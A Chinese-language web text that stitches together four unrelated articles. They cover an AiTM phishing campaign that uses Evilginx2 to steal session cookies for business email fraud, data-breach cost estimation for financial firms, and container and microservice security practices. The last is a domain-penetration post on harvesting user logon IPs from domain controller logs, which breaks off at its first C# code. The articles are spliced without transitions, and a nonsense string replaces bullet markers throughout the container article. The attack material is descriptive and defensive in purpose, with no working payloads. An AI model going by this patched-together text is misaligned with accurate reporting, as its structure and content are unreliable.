使用中間人攻擊(AiTM)網絡釣魚網站的大規模網絡釣魚活動竊取了用戶的密碼，劫持了用戶的登錄會話，即使用戶啟用了多因素身份驗證(MFA)，也會跳過身份驗證過程。然後，攻擊者使用竊取的憑證和會話cookie訪問受影響用戶的郵箱，並針對其他目標進行後續的商業電子郵件攻擊活動。自2021年9月以來，AiTM網絡釣魚活動已嘗試對1萬多個組織進行攻擊。 網絡釣魚仍然是攻擊者在試圖獲得對組織的初始訪問時最常用的技術之一。在AiTM釣魚攻擊中，攻擊者在目標用戶和用戶希望訪問的網站(即攻擊者希望模擬的網站)之間部署一個代理服務器。這樣的設置允許攻擊者竊取和攔截目標的密碼和會話cookie，這些cookie可以證明他們與該網站正在進行的、經過身份驗證的會話。不過，這不是MFA中的漏洞。由於AiTM網絡釣魚竊取了會話cookie，攻擊者將代表用戶獲得會話的身份驗證，而不管後者使用的登錄方法。 研究人已檢測到與AiTM釣魚攻擊及其後續活動相關的可疑活動，如竊取會話cookie和試圖使用竊取的cookie登錄到ExchangeOnline。然而，為了進一步保護自己免受類似的攻擊，防護人員還應該考慮用條件訪問策略來補充MFA，其中登錄請求使用額外的身份驅動信號來評估，如用戶或組成員身份、IP位置信息和設備狀態等。 AiTM網絡釣魚的工作原理每個現代Web服務都會在成功驗證後與用戶進行會話，這樣用戶就不必在他們訪問的每個新頁面上都進行驗證。此會話功能是通過在初始身份驗證後由身份驗證服務提供的會話cookie實現的。會話cookie向Web服務器證明用戶已通過身份驗證並且在網站上具有正在進行的會話。在AiTM網絡釣魚中，攻擊者試圖獲取目標用戶的會話cookie，以便他們可以跳過整個身份驗證過程並代表後者採取行動。 為此，攻擊者會部署一個web服務器，它將訪問釣魚網站用戶的HTTP數據包代理到攻擊者希望冒充的目標服務器，反之亦然。這樣，釣魚網站在視覺上與原始網站是相同的，因為每個HTTP都是通過代理來訪問和來自原始網站。攻擊者也不需要像傳統的網絡釣魚活動那樣製作自己的網絡釣魚網站。 URL是網絡釣魚網站和實際網站之間唯一可見的區別。 AiTM釣魚過程如下： AiTM釣魚網站攔截認證過程 網絡釣魚頁面有兩個不同的傳輸層安全(TLS)會話與目標想要訪問的實際網站。這些會話意味著網絡釣魚頁面實際上充當AiTM代理，攔截整個身份驗證過程並從HTTP請求中提取有價值的數據，例如密碼，更重要的是會話cookie。一旦攻擊者獲得會話cookie，他們可以將其註入瀏覽器以跳過身份驗證過程，即使目標的MFA已啟用。 AiTM網絡釣魚過程目前可以使用開源網絡釣魚工具包和其他在線資源實現自動化。廣泛使用的套件包括Evilginx2、Modlishka和Muraena。 跟踪AiTM網絡釣魚活動研究人員檢測到自2021年9月以來試圖針對1萬多個組織的AiTM釣魚活動的多次迭代，該活動自2021年9月以來試圖針對10000多個組織。這些運行似乎鏈接在一起，並通過欺騙Office在線身份驗證頁面來針對Office365用戶。 根據分析，這些活動迭代使用Evilginx2釣魚工具作為其AiTM基礎設施。研究人員還發現了他們在攻擊後活動中的相似之處，包括目標郵箱中的敏感數據枚舉和支付欺詐。 初始訪問在研究人員觀察到的一次運行中，攻擊者向不同組織中的多個收件人發送帶有HTML文件附件的電子郵件。電子郵件通知目標收件人，他們有語音消息。 帶有HTML文件附件的網絡釣魚電子郵件示例 當收件人打開附加的HTML文件時，它會加載到用戶的瀏覽器中並顯示一個頁面，通知用戶正在下載語音消息。但是請注意，下載進度條在HTML文件中是硬編碼的，因此沒有獲取MP3文件。 在目標瀏覽器中加載的HTML文件附件 HTML附件的源代碼 相反，該頁面將用戶重定向到一個重定向網站： 重定向網站的截圖 這個重定向器充當了看門人的角色，以確保目標用戶來自原始HTML附件。為此，它首先驗證url中預期的片段值(在本例中是用base64編碼的用戶電子郵件地址)是否存在。如果該值存在，則該頁面將連接釣魚網站登錄頁面上的值，該值也以Base64 編碼並保存在“link”變量中。 重定向器網站的script 標記中包含的重定向邏輯 通過結合這兩個值，隨後的網絡釣魚登陸頁面會自動使用用戶的電子郵件地址填寫登錄頁面，從而增強其社會工程誘餌。該技術也是該活動試圖阻止傳統反網絡釣魚解決方案直接訪問網絡釣魚URL 的嘗試。 請注意，在其他情況下，研究人員觀察到重定向器頁面使用以下URL 格式： 在這種格式中，目標的用戶名被用作無限子域技術的一部分。 目標瀏覽器上加載的規避重定向器網站 重定向後，用戶最終以用戶名作為片段值登陸了Evilginx2 網絡釣魚網站。例如： 網絡釣魚登錄頁面示例 網絡釣魚網站代理了組織的Azure Active Directory (Azure AD) 登錄頁面，通常是login.microsoftonline.com。如果組織已將其Azure AD 配置為包含其品牌，則網絡釣魚網站的登錄頁面也包含相同的品牌元素。 檢索組織的Azure AD 品牌的網絡釣魚登錄頁面模型 一旦目標輸入他們的憑據並通過身份驗證，他們就會被重定向到合法的office.com 頁面。然而，在後台，攻擊者截獲了上述憑據並代表用戶進行了身份驗證。這允許攻擊者在組織內部執行後續活動，在本例中為支付欺詐。 支付欺詐支付欺詐是指攻擊者欺騙欺詐目標將支付轉移到攻擊者擁有的賬戶。它可以通過劫持和回復正在進行的金融相關的電子郵件進行，並誘使欺詐目標通過虛假髮票等方式匯款來實現。 研究人員發現，在證書和會話被盜後，攻擊者只需5分鐘就可以啟動他們的後續支付欺詐。在首次登錄釣魚網站後，攻擊者使用竊取的會話cookie 對Outlook Online (outlook.office.com) 進行身份驗證。在許多情況下，cookie都有MFA聲明，這意味著即使該組織有MFA策略，攻擊者也會使用會話cookie 代表受感染的帳戶獲得訪問權限。 尋找目標在cookie 被盜後的第二天，攻擊者每隔幾個小時訪問一次與財務相關的電子郵件和文件附件文件。他們還搜索了正在進行的電子郵件進程，其中付款欺詐是可行的。此外，攻擊者從受感染帳戶的收件箱文件夾中刪除了他們發送的原始網絡釣魚電子郵件，以隱藏其初始訪問的痕跡。 這些活動表明攻擊者試圖手動進行支付欺詐。他們也在雲端進行了這項工作，他們在Chrome 瀏覽器上使用Outlook Web Access (OWA)，並在使用被盜帳戶的被盜會話cookie 的同時執行上述活動。 一旦攻擊者找到相關的電子郵件進程，他們就會繼續使用他們的逃避技術。因為他們不希望被盜帳戶的用戶注意到任何可疑的郵箱活動，所以攻擊者創建了一個具有以下邏輯的收件箱規則來隱藏欺詐目標的任何未來回复： “對於發件人地址包含[欺詐目標的域名]的每封傳入電子郵件，將郵件移動到“存檔”文件夾並將其標記為已讀。” 進行付款欺詐設置規則後，攻擊者立即回復與目標和其他組織的員工之間的付款和發票相關的正在進行的電子郵件進程，如創建的收件箱規則所示。然後，攻擊者從受感染帳戶的“已發送郵件”和“已刪除郵件”文件夾中刪除了他們的回复。 在執行初始欺詐嘗試幾個小時後，攻擊者每隔幾個小時登錄一次以檢查欺詐目標是否回復了他們的電子郵件。在許多情況下，攻擊者通過電子郵件與目標溝通了幾天。在發送回回復後，他們從Archive文件夾中刪除目標的回复。他們還從“已發郵件”文件夾中刪除了郵件。 有一次，攻擊者從同一個被攻擊的郵箱同時進行了多次欺詐嘗試。每當攻擊者發現新的欺詐目標時，他們就會更新他們創建的收件箱規則，以包括這些新目標的組織域。 以下是該活動基於Microsoft365Defender的威脅數據的端到端攻擊鏈總結： 防禦AiTM網絡釣魚和BEC 此AiTM 網絡釣魚活動是威脅如何繼續演變以響應組織為保護自己免受潛在攻擊而採取的安全措施和政策的另一個例子。由於去年許多最具破壞性的攻擊都利用了憑據網絡釣魚，我們預計類似的嘗試會在規模和復雜性上增長。 雖然AiTM 網絡釣魚試圖繞過MFA，但MFA 實施仍然是身份安全的重要支柱。 MFA 在阻止各種威脅方面仍然非常有效；它的有效性是AiTM 網絡釣魚首先出現的原因。因此，組織可以通過使用支持Fast ID Online (FIDO) v2.0 和基於證書的身份驗證的解決方案來使其MFA 實施“抵禦網絡釣魚”。 防御者還可以通過以下解決方案免受這類攻擊1.啟用條件訪問策略。每次攻擊者嘗試使用被盜的會話cookie 時，都會評估和執行條件訪問策略。組織可以通過啟用合規設備或受信任的IP 地址要求等策略來保護自己免受利用被盜憑據的攻擊。 2.投資於監控和掃描傳入電子郵件和訪問過的網站的高級反網絡釣魚解決方案。例如，組織可以利用能夠自動識別和阻止惡意網站的網絡瀏覽器，包括在此網絡釣魚活動中使用的網站。 3.持續監控可疑或異常活動： 3.1尋找具有可疑特徵的登錄嘗試（例如，位置、ISP、用戶代理、使用匿名服務）。 3.2尋找不尋常的郵箱活動，例如創建具有可疑目的的收件箱規則或通過不受信任的IP 地址或設備訪問異常數量的郵件項目。

場景選擇在上一篇文章中已經闡述了數據洩露成本估算的場景類型，接下來就是通過將理論化的風險事件與實際的業務流程易受運營損失類別（使用BIS發布的指南）進行比較，以便可信地描述業務後果，從而更接近現實的現實世界網絡威脅場景。也就是說，我們需要使用實際系統如何工作的知識來創建風險事件發生的場景的詳細信息。由於系統由人員、流程和技術組成，因此這些知識包括但不限於對手行為模式、軟件漏洞模式、當前技術控制維護困難以及業務用戶的操作或行為。 例如，上一篇文章圖3中的“信息盜竊”場景可以實例化為一種典型的惡意軟件攻擊，通過電子郵件網絡釣魚或水坑攻擊技術，以最終用戶為目標，這些攻擊會吸引具有互聯網訪問權限的金融專業人士點擊使用其訪問（系統對手行為模式）安裝惡意軟件的鏈接，並蒐索允許該軟件從最終用戶升級到管理特權訪問的常見漏洞（軟件漏洞模式）。為特定組織定制的場景將準確確定預計哪個平台具有此漏洞。它將識別惡意軟件對平台所做的更改（基於已知的技術維護問題），並從那裡確定桌面軟件進程和數據影響的負面影響。例如，軟件性能可能會降低，並且數據可能會變得不可訪問。然後，業務部門將被要求呼叫技術支持（業務用戶行為）。此方案描述為由業務、技術和風險專業人員組成的團隊提供了足夠的信息，以找出影響的詳細信息。 請注意，這只是一個潛在的風險事件，可用於在更深入的場景創建的系統方法中梳理出細節。簡單地說，一個場景可以由四個元素定義： 行為人：具有動力，技能和資源的理論對手 戰術：旨在實現對手目標的技術工作流程 目標：行為人必須利用的特定技術組件來製定策略 漏洞：暴露於行為人、技術或業務流程中，從而實現戰術 在前面的創建中，關鍵要素是： 行為人：黑客 策略：網絡釣魚部署的惡意軟件 目標：企業台式機 漏洞：操作系統安全 為了系統地分析所有系統的風險，這些元素可用於劃分和征服組織在風險分析過程中可能開發的每個風險類別中的示例事件的整體風險分析。當然，結合可以劃分和征服此類分析的觀察，重要的是要注意每個元素的潛在值可能會隨時間而變化，並且應始終反映當前的威脅情報。 例如，一組不同的行為人、策略、目標和漏洞可以提供替代場景選擇。另一個潛在的場景可能來自對使用內部最終用戶的訪問對公司基礎架構的中斷的描述，導致用戶生產力損失、業務通信中斷和桌面中斷，如下所示： 行為人：民族國家 目標：網絡路由器 漏洞：供暖、通風和空調（HVAC）供應商接入網絡允許將網絡路由命令引入企業基礎架構 策略：滲透HVAC供應商，使用維護連接引入默認路由，將所有網絡流量傳播並定向到民族國家擁有的域 基於這組替代元素的場景創建表明，資金充足的專業犯罪組織以HVAC設備為目標，利用HVAC供應商防火牆中的漏洞，並利用有關內部企業網絡漏洞的情報（可能來自內部人員）。實際設想的活動可能更值得商榷，但所有利益攸關者都必須認為是合理的，或者，如前所述，缺乏共識可能使利益攸關者難以認真對待影響估計。請注意，對於對強控制措施有相當自豪感的組織來說，為了通過方案促進成本分析，尤其難以暫停對這些控制措施的信念。只要在每個可能的風險類別中至少有一個完整分析的場景，就可以消除發生概率較低的單個場景。 另請注意，儘管由於控制力強，場景可能被視為低概率，但情況恰恰相反。在前面的示例中，組織內動態路由體系結構的普遍存在將增加資金充足的對手通過該方案帶來的單一供應商漏洞利用內部網絡中已知漏洞的可能性。通過這種方式，從情景分析中計算的成本可以提出額外的網絡路由控制以避免損失的情況。 下圖提供了基於在前面的列表中介紹的四個元素的場景開發的替代注意事項。與其考慮最終用戶對企業基礎設施的威脅，不如考慮內部用戶對核心銀行系統的威脅。當機構決定計算潛在數據洩露事件的成本時，建議在場景選擇之前準備此類潛在替代場景。大量的例子有助於說服懷疑者，至少有一種情況是可能的，討論哪些更有可能，可以從團隊了解的關於目標環境的一些有形的基本事實開始。另請注意，四種替代技術方案中只有一種針對核心銀行系統本身。對金融資產而不是技術資產的關注往往會導致對對手技術攻擊的潛在途徑進行更具創造性的猜測。 替代網絡安全場景元素 成本估算關於網絡安全漏洞成本的大部分文獻都集中在“信息盜竊”場景上。金融公司通常為數據洩露的客戶支付信用報告凍結和身份盜竊保險。他們還會產生通知客戶數據洩露事件發生的法律費用，並且這些補救措施是可用的。對於金融機構來說，重要的是要確切地了解這些機制在每個客戶的基礎上的成本。這些每個客戶的成本由多個組織定期調查;最廣為人知的是波耐蒙研究所。該機構的研究依賴於對數據洩露公司管理層的訪談，並試圖不僅量化通知和法律成本，還量化更難以估計的變量，如客戶流失以及特定響應活動在降低數據洩露成本方面的功效。然後，他們將數據洩露的總成本除以丟失的記錄數量，並跨行業，國家和年份比較這些數字。在2017年的Ponemon研究中，每個客戶記錄的綜合平均值為141美元，美國最高（225美元），印度最低（64美元）。該研究沒有聲稱是有效的統計研究，因此任何個別公司的經驗都可能有所不同。但是，這些數據確實提供了一定程度的指導。 在沒有實際的、具體的事件需要分析的情況下，管理層必鬚根據相關經驗和理性分析來估計數據洩露的成本。大多數網絡安全場景都是按滑動標尺量化的，將事件的預期持續時間估計為在最佳和最壞情況下識別和恢復通常需要的時間。當前技術過程可用於根據對技術支持的第一次呼叫以及技術支持升級到的技術操作員、管理員和工程師的預期活動來確定應遵循的事件順序。獨立風險或治理專家的角色通常是遍歷事件的過程和歷史數據，以確定在高效和有效事件響應和解決的最佳或最壞情況下的預期情景持續時間。在此類研究中檢查的信息通常包括但不限於以下內容： 受數據洩露影響的整套設備的系統清單 管理任務歷史記錄或業務恢復測試結果，顯示管理員通常在從網絡安全攻擊中恢復所需的系統還原任務上花費的時間 在升級路徑中重新分配技術資源所需的時間，這些資源通常被分配到其他工作，包括顧問和員工，如開發人員、工程師和架構師 以時間和材料為基礎工作的供應商所需的時間 安裝維護系統可用性所需的新設備或軟件所需的時間 如果程序不包括對所審查事件類型的反應，則必須分配時間，以在初始反應步驟以及最終調查期間捕捉不確定性或混亂的影響。如果沒有歷史上的內部先例，那麼可以使用年度Verizon數據洩露和調查報告等出版物盡可能地研究行業數據。 即使在所有響應程序似乎都已到位的情況下，人員或供應商可用性等變量也可能存在不確定性，或者供應商創建漏洞路徑所需的時間。因此，影響量化可以計算半天，全天或3天。理想情況下，過程演練應生成一個活動列表，這些活動可能在整個時間段內發生，如下所示： 支持/幫助中心可能很快就會不堪重負，因為它在數據洩露事件期間投入了關鍵資源來處理其他任何事情。 網絡安全團隊將全部時間花在取證分析上。 技術運營團隊主持事件響應電話會議，他們上報的工程師和高管花時間規劃工作協調（每隔幾個小時聯繫一次基地）。 應用程序支持團隊對桌面應用程序執行緊急測試。 桌面管理員執行緊急修補程序安裝。 顧問或供應商補充勞動力的成本 恢復系統可用性所需的新設備或軟件的成本 這表示技術費用的最小描述，僅用於說明目的。所有這些活動都是數據洩露事件的後果，都可以量化為事件成本的一部分。也就是說，如果決定將此勞動力的成本計為數據洩露成本估算中的度量單位，則將其量化為數據洩露成本的一部分。假設如此，一個組織的成本估算如下圖所示： 初始數據洩露成本估算：技術活動 上圖首先計算成本，假設最小的組織具有24-7全天候服務級別的要求。由於假期和其他時間的原因，科技公司採用三班倒的方式全面覆蓋一份工作，通常需要確保有六到八名員工能夠履行各自的職能。其中，該數據假定有兩個人將在事件發生期間完全致力於網絡安全漏洞。我們假設員工崗位的每小時成本為50美元，高技能技術人員為75美元，工程師為125美元，管理人員為200美元。這個假設的分析也假設了小型企業活動中典型的管理和顧問的參與。組織規模也會影響相關費率和其他假設。 在事件發生期間，業務本身也可能受到影響。在公司維護工作中將技術設備與業務應用程序連接起來的配置管理數據庫的地方，可以使用這樣的清單列出業務應用程序的用戶，這反過來可能有助於識別潛在的業務流程影響。在非常大的公司中，有時會調查用戶以確定影響。然而，也有可能是業務維護業務應用程序吞吐量的度量和指標，並且這與被入侵的估計長度結合起來，可以用於在業務方面估計網絡安全被入侵的成本。注意，許多企業在整個業務流程中每天都有更改，因此對一天中的時間進行假設通常也很重要。 在我們的例子中，我們將假設股票銷售經紀人沒有桌面辦公軟件，因此不能執行他們的工作功能。其結果是生產力的損失，以及潛在的業務損失。以業務損失為例，讓我們假設中斷將導致無法處理客戶權益買賣指令，這可以用交易來量化，交易作為影響的單位可以用來估計由於數據洩露造成的佣金收入損失。 其中一項或兩項生產率損失都可以作為數據洩露成本估算的衡量單位，即花費在閒置勞動力上的美元和佣金損失的收入損失。就像在技術方面一樣，特定場景的業務影響將以一定的比例進行量化。使用事件的預期持續時間和客戶使用平台的歷史數據，可以計算受影響的客戶交易數量。未完成交易的業務影響以收入損失和因未執行已接受的訂單而產生的潛在責任來量化。如果衡量單位包括機會成本，這兩個數字都包括在數據洩露成本中。如果度量單位只是貨幣，那麼只計算貨幣。 上圖以24小時內的業務量為例進行說明。在清晨，每小時的交易量只有大約200個交易。平均峰值在上午8點到中午之間，然後再次下降，在一天結束時達到每小時的最低量。雖然持續時間的滑動比例選擇為6小時、24小時和60小時，但從上午8點到晚上8點的12小時時段的費用在圖中顯示，60小時的活動是兩個24小時時段加一個12小時時段的倍數。我們的分析假設每筆交易佣金為10美元，機會成本是每個交易量分配窗口中可能損失的交易的直接倍數。 在下圖中，交易數量也被認為是計算因未執行已接受的訂單而產生的潛在負債的基礎。假定在晚上8點至上午8點之間收到的訂單不會立即處理，而是按合同約定在第二天開市時處理。在下圖的事務度量中，結果是大約300個隔夜事務是潛在的負債，因為它們不會在早上處理，而只有在從事件中恢復之後才會處理。在這300筆交易中，市場可能對公司有利，而交易被延遲處理的客戶將從經濟上受益，但在其他情況下，可能已經發生了損失。 數據洩露成本估算：業務交易成本 上圖假設所有的隔夜交易都將各自免除費用，這代表了一個機會成本。根據客戶的影響，企業也可以決定讓客戶成為整體。儘管有費用減免和善意的姿態，但這仍是可能的;客戶可以起訴違反協議。在商譽的情況下，損失可能被沖銷為“客戶商譽”，這是一個財務費用類別，不太可能出現在數據洩露損失計算單位的衡量。在訴訟案件中，任何產生的成本都將作為法律解決方案出現，而這當然應該包括在數據洩露成本中。 上圖假設對於25%的隔夜交易，公司平均每筆交易花費100美元的商譽費，對於在6小時事件中延遲的5%的交易，公司平均每筆交易花費1000美元的責任費。由於交易延遲的時間越長，客戶要求報銷的可能性就越大，因此每個持續時間類別的金額都會有所不同。假設24小時和60小時商譽和負債成本分別為100美元和1000美元估計數的兩倍和三倍。 隨著場景分析團隊列舉產生成本的活動和事件，很明顯，除了業務損失之外，還產生了機會成本，工作未完成的機會成本。例如: 1、管理任務歷史記錄將顯示管理員通常在網絡安全響應活動期間未執行的日常任務上花費多長時間。 2、應用程序支持方面的項目工作將被延遲，從而減少了由於應用程序支持團隊不可用而導致的上市時間。 3、用戶交付的桌面輸出將被延遲，例如管理、客戶和監管演示材料。 這些通常不作為數據洩露度量單位，但如果它們被包括在內，它們將進一步增加數據洩露成本的金額。數據洩露的總成本將在前文的兩個圖中所計算的金額中加上這些金額。如果假設錯過了一個重要的市場機會，或者可能因工作延誤而引發監管罰款，那麼對收入損失的量化估值當然也與管理層有關。在我們的示例中，我們假設這種產品交付挫折和罰款分別為6小時、24小時和60小時的事件花費5萬美元、10萬美元和20萬美元。這一最終假設將導致如下圖所示的網絡安全漏洞估計的全部成本。前文已說過大型組織用10的倍數表示。 數據洩露總成本估算 向前邁進在本章中，我們提出了一些原則和方法，以有效和務實地捕獲網絡入侵成本的相關組件。這裡總結的結論可用於事後分析，或作為預測潛在數據洩露事件的輸入。 參考資源 1、Borg，Scott，“TheEconomicsofLoss”，inEnterpriseInformationSecurityPrivacy，Axelrod，BayukSchutzer，Eds.（Norwood，MA：ArtechHouse，2009）。 2、巴塞爾銀行監督委員會（2003年），《经营风险管理和监督的健全做法》 （BCBS96www.bis.org）。 3、巴塞爾銀行監管委員會（2013）有效風險數據匯總和風險報告原則（BCBS239www.bis.org）。 4、伊薩卡（2012）.COBIT5，使能流程。信息系統審計與控制協會（www.isaca.org）。 5、波耐蒙研究所（2017）。數據洩露研究的成本，全球概述。 https://www.ibm.com/account/reg/us-en/signup?formid=urx-33316 6、VerizonEnterprise.（2017）.“2017年數據洩露調查報告，第10版。

11 種微服務和容器安全最佳實踐（上） 保護微服務和容器的11 個最佳實踐我們在下面提到的實踐可能有助於保護您當前使用容器和微服務開發應用程序的方式。但是，如果您才剛剛開始創建應用程序或即將將您的產品從單體架構遷移到基於微服務的架構，請確保准備好全面的安全策略。 NIST 建議概述兩種類型的策略： 我們的容器和微服務最佳實踐列表基於Apriorit 團隊的專業知識、領先的微服務從業者提供的安全建議以及以下文檔中反映的行業標準： 马云惹不起马云NIST 特別出版物800-180（草案）NIST 對微服務、應用程序容器和系統虛擬機的定義 马云惹不起马云NIST 特別出版物800-190應用容器安全指南 马云惹不起马云NIST 內部報告8176 Linux 應用程序容器部署的安全保證要求 马云惹不起马云NIST 特別出版物800-204基於微服務的應用系統的安全策略 马云惹不起马云工作和養老金安全標準- 微服務架構(SS-028) [PDF] 現在讓我們仔細看看如何在使用微服務和容器時開發安全的應用程序。 11個最佳實踐容器微服務安全 1. 創建不可變容器開發人員傾向於讓shell 訪問圖像，以便他們可以在生產中修復它們。但是，攻擊者經常利用這種訪問權限來注入惡意代碼。為避免這種情況，請創建不可變容器。 根據Google Cloud Architecture Center的說法，不能修改不可變容器。如果您需要更新應用程序代碼、應用補丁或更改配置，您可以重建映像並重新部署容器。如果需要回滾更改，只需重新部署舊鏡像即可。您可以在每個環境中部署相同的容器映像，使它們完全相同。 請注意，遠程管理是通過運行時API 或通過創建與運行微服務的主機的遠程shell 會話來完成的。容器的不可變特性也會影響數據持久性。開發人員應將數據存儲在容器之外，以便在替換某些容器時，所有數據仍可用於其新版本。 2.每台主機部署一個微服務根據microservices.io，部署微服務有六種模式： 马云惹不起马云每個主機多個服務實例 马云惹不起马云每個主機的服務實例 马云惹不起马云每個VM 的服務實例 马云惹不起马云每個容器的服務實例 马云惹不起马云無服務器部署 马云惹不起马云服務部署平台 兩個最有益的部署選項是每個容器的服務實例和每個主機的服務實例，因為它們允許您： 马云惹不起马云將服務實例彼此隔離 马云惹不起马云消除資源需求或依賴版本衝突的可能性 马云惹不起马云允許服務實例最多消耗單個主機的資源 马云惹不起马云輕鬆監控、管理和重新部署每個服務實例 雖然在同一主機上部署多個微服務可以比每個主機模式的服務實例更有效地利用資源，但它也有很多缺點： 马云惹不起马云資源需求衝突和依賴版本衝突的風險 马云惹不起马云限制服務實例消耗的資源的困難 马云惹不起马云如果多個服務實例部署在同一進程中，則難以監控每個服務實例的資源消耗 3. 將自動化安全測試集成到您的構建或CI/CD 流程中有多種工具可以在構建或CI/CD 過程中自動測試容器。例如，HP Fortify 和IBM AppScan 提供動態和靜態應用程序安全測試。 您還可以使用JFrog Xray和Black Duck等掃描儀實時檢查容器中的已知漏洞。一旦這些工具發現漏洞，它們就會標記帶有檢測到問題的構建，讓您可以檢查和修復它們。 4.避免使用特權容器如果容器以特權模式運行，則它可以訪問主機上的所有組件。因此，這樣的容器充當主機操作系統的一部分，並影響在其上運行的所有其他容器。如果這樣的容器受到威脅，攻擊者將擁有對服務器的完全訪問權限。 因此，請考慮避免使用特權容器。例如，在Kubernetes 中，您可以使用Policy Controller 禁止特權容器。 如果出於某種原因您需要使用特權容器，Google Cloud Architecture Center提供了一些替代方案： 马云惹不起马云通過Kubernetes 的securityContext 選項或Docker中的--cap-addflag 選項為容器提供特定的能力 马云惹不起马云在sidecar 容器或init 容器中修改應用程序設置 马云惹不起马云使用專用註解修改Kubernetes 中的sysctls 接口 5. 僅從受信任的來源運行圖像對於具有現成容器的開發人員，有許多開源包。但是，出於安全目的，您需要知道容器的來源、更新時間以及它們是否沒有任何已知漏洞和惡意代碼。最好建立一個受信任的映像存儲庫並僅從該受信任的來源運行映像。 此外，開發人員應在將容器投入生產之前檢查其腳本中的應用程序簽名。如果您在多個雲環境中運行容器，那麼擁有多個映像存儲庫是可以接受的。如果您想使用其他來源的圖像，建議使用掃描工具掃描圖像。 6. 使用註冊表安全地管理圖像Docker Hub、Amazon EC2 Container Registry 和Quay Container Registry 等註冊表可幫助開發人員存儲和管理他們創建的映像。您可以使用這些註冊表： 马云惹不起马云提供基於角色的訪問控制 马云惹不起马云指定容器的可信來源 马云惹不起马云創建和更新已知漏洞列表 马云惹不起马云標記易受攻擊的圖像 請注意，基於角色的訪問控制也很重要，因為您需要控制誰可以對您的容器進行更改。最好限制對特定管理帳戶的訪問：一個負責系統管理，一個負責操作和編排容器。 要記住的另一件事是確保您的註冊表驗證每個容器的簽名並僅接受來自可信來源的那些。此外，利用可幫助您不斷檢查圖像內容是否存在已知漏洞並通知安全問題的功能。例如，一旦您將鏡像推送到Docker Hub 並啟用漏洞掃描， Docker Hub 漏洞掃描會自動掃描鏡像以識別容器鏡像中的漏洞。 7.強化主機操作系統雖然大多數建議都涉及微服務和容器的安全性，但也有必要確保主機操作系統的安全性。 首先，NIST 建議使用特定於容器的主機操作系統（明確設計為僅運行容器的極簡主機操作系統），因為它們沒有不必要的功能，因此攻擊面比通用主機小得多。最好使用允許通過路由器或防火牆控制出口流量的平台。 其次，CIS Docker Benchmark提供了強化系統的檢查表。這些建議因操作系統、服務器軟件、雲提供商、移動設備、網絡設備和桌面軟件而異。 主要建議是： 马云惹不起马云建立用戶認證 马云惹不起马云設置訪問角色 马云惹不起马云指定二進製文件訪問權限 马云惹不起马云收集詳細的審計日誌 為了避免數據洩露，限制容器對底層操作系統資源的訪問，並將容器相互隔離。一個好的做法是在內核模式下運行容器引擎，同時在用戶模式下運行容器。 例如，Linux 提供了Linux 命名空間、seccomp、cgroups 和SELinux 等技術，用於安全地構建和運行容器。 8. 使用縱深防禦方法保護微服務縱深防禦是一種信息安全方法，它依賴於安全機制和控制（如防病毒軟件、防火牆和補丁管理）的組合。其目標是在整個IT 系統中提供多層安全性，以保護網絡和數據的機密性、完整性和可用性。 縱深防禦方法的三個關鍵層是： 马云惹不起马云物理控制——物理限制訪問IT 系統的任何東西，例如警衛和閉路電視系統 马云惹不起马云技術控制——旨在保護系統和資源的硬件和軟件（下文討論） 马云惹不起马云管理控制——各種政策和程序，以確保組織關鍵基礎設施的適當網絡安全 深度防禦方法是微服務安全最重要的原則之一，因為它創建了多層安全性來防止攻擊。它包括以下安全措施： 马云惹不起马云過濾通信流 马云惹不起马云對微服務進行身份驗證和授權訪問 马云惹不起马云使用加密技術 確保保護您的內部環境免受任何外部連接的影響，因為它是第一層防禦。例如，檢查您沒有使用公共存儲庫中的圖像，因為它們可能會給您的應用程序帶來安全風險。通過已知的專用網絡管理主機，這樣就不會有公共攻擊面。 9. 使用API 訪問控制安全訪問微服務API 是微服務應用程序的關鍵。基於該技術的軟件有多個獨立的API 服務，需要額外的工具。 因此，確保安全認證和授權的API 訪問控制對於微服務安全至關重要。訪問可以處理敏感數據的API 應該需要經過數字簽名或權威來源驗證的身份驗證令牌。 開發人員和管理員通常使用OAuth/OAuth2 服務器來獲取令牌以通過API 訪問應用程序。出於安全原因，您還應該應用傳輸層安全(TLS) 加密來保護所有客戶端-服務器通信。 10.使用容器原生監控工具監控容器是必不可少的，因為它可以幫助您： 马云惹不起马云深入了解容器指標和日誌 马云惹不起马云了解集群和主機級別以及容器內發生的情況 马云惹不起马云做出更明智的決策，例如何時擴展或擴展實例、更改實例類型和購買選項等。 但是，要建立有效的監控，最好使用容器原生監控工具。例如，在使用Docker時，開發人員通常使用Docker Security Scanner 或其他專門設計的工具來檢測對應用程序的任何潛在威脅。 監控工具首先收集事件，然後根據安全策略檢查它們。確定性策略可以定義可以運行哪些服務以及允許哪些容器發出外部HTTP 請求。動態策略可以創建正常通信活動的基線，並通知流量峰值或異常流量。 11. 使用編排管理器編排是一個複雜的過程，可以自動化微服務和容器的部署、管理、擴展和網絡。通常，它可以通過兩種方式實現： 马云惹不起马云通過使用API 網關作為編排層 马云惹不起马云通過將編排編碼為單獨的微服務 編排器從註冊表中提取圖像，將這些圖像部署到容器中，並管理它們的運行。編排器提供的抽象允許您指定運行給定映像需要多少個容器以及需要為它們分配哪些主機資源。 通過使用編排管理器，您不僅可以自動化微服務的部署，還可以確保一定程度的安全性。例如，編排器允許您管理容器集群、隔離工作負載、限制對元數據的訪問以及收集日誌。 許多編排管理器還具有內置的機密管理工具，允許開發人員安全地存儲和共享機密數據，例如API 和SSL 證書、加密密鑰、身份令牌和密碼。有許多編排管理器，例如Kubernetes、Swarm 和Mesos，以及作為Azure、谷歌云計算和AWS 的一部分提供的雲原生管理系統。 結論基於微服務的軟件的綜合安全計劃應涵蓋整個應用程序生命週期。使用所描述的最佳實踐，您可以確保容器和微服務的安全開發和部署。

0x00 前言在域滲透中，獲得了域控制器權限後，需要獲得域用戶的登錄信息，包括域用戶登錄的IP地址和登錄時間。通常使用的方法是查看域控制器的登錄日誌(Eventid=4624)。然而，人工從登錄日誌(Eventid=4624)中篩選出域用戶登錄的IP地址和登錄時間需要耗費大量時間，不僅無效數據多，而且需要多次判斷，所以我們需要編寫程序來實現這個功能。 在實際使用過程中，為了能夠適配多種環境，還需要支持本地和多種協議的遠程登錄。於是本文將要分享我的實現方法，開源兩個工具，記錄細節。 0x01 簡介本文將要介紹以下內容： 通過EventLogSession實現 通過WMI實現 開源代碼 0x02 通過EventLogSession實現通過查詢資料發現，通過EventLogSession不僅支持解析本地日誌內容，還支持通過RPC遠程解析日誌，下面介紹關於EventLogSession的開發細節 1.輸出Eventid=4624的日誌內容C Sharp實現代碼： usingSystem; usingSystem.Diagnostics.Eventing.Reader; namespaceTest1 { classProgram { staticvoidMain(string[]args) { varsession=newEventLogSession(); stringLogName='Security'; 